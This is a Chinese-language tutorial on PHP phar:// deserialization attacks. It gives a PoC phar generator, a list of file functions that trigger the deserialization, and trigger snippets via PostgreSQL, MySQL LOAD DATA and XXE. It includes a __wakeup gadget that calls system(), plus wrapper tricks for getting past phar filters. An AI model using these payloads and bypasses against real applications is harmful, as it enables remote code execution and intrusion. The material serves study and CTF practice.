前言

本来是打算放在文件包含中讲这个协议的,但发现用到的东西太多,干脆单拿出来写好了。
phar是一个专属于php的文件格式,在2018年的Black Hat上,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。而实际中,phar文件可以通过包含读取来触发反序列化,而不需要像传统反序列化那样,需要一个可控的unserialize()。

phar

在漏洞介绍前,先来看一下什么是phar
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP5.3以后就可以直接使用。
PHAR文件的本质同JAR一样,都是一种特殊的压缩文件,所以将后缀改为zip后是可以解压的。那么相对的,读取phar文件所用到的伪协议phar://也是可以打开压缩文件的,这也是我们之前提到的一种利用方法。
PHAR文件缺省状态是只读的,使用Phar文件不需要任何的配置。但我们在构筑脚本时需要生成phar文件,此时应在php.ini中关闭phar.readonly

phar文件结构

  1. 文件标识头
    格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
  2. 压缩文件信息
    phar本质上是一种压缩文件,那就有存储文件的地方。第二段a manifest describing the contents,这是存放压缩文件权限、属性等信息的地方,这部分还会以序列化的形式存储用户自定义的meta-data,是反序列化的攻击点。
  3. 压缩文件内容
    存放phar内的文件,这部分无关紧要,有东西存进去就好。
  4. 数字签名
    放在文件末尾,格式如下

生成poc

<?php
    class Test {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Test();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

受影响函数


大佬整理:

//exif
exif_thumbnail
exif_imagetype

//gd
imageloadfont
imagecreatefrom***系列函数

//hash

hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file

// file/url
get_meta_tags
get_headers

//standard 
getimagesize
getimagesizefromstring

// zip   
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';

//配合其他协议:(SUCTF)
//https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/
//当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
//php://filter/read=convert.base64-encode/resource=phar://phar.phar

//Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。
<?php
 $pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
 @$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>

// Mysql
//LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper
//配置一下mysqld:
//[mysqld]
//local-infile=1
//secure_file_priv=""

<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');
?>

//XXE
//xxe也可以触发phar,将phar改为xml再经行读取

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY c SYSTEM "phar:///upload/phar.xml">
]>
<ticket><username>&c;</username><code>test2</code></ticket>

绕过

  • 更改后缀
    利用phar协议会将任意后缀文件读取为phar文件绕过
  • 过滤phar
    限制字符前几位不能出现phar时,可以使用compress.bzip2://compress.zlib://绕过

    compress.bzip://phar:///test.phar/test.txt
    compress.bzip2://phar:///test.phar/test.txt
    compress.zlib://phar:///home/sx/test.phar/test.txt
    php://filter/resource=phar:///test.phar/test.txt

"孓然一身 , 了无牵挂"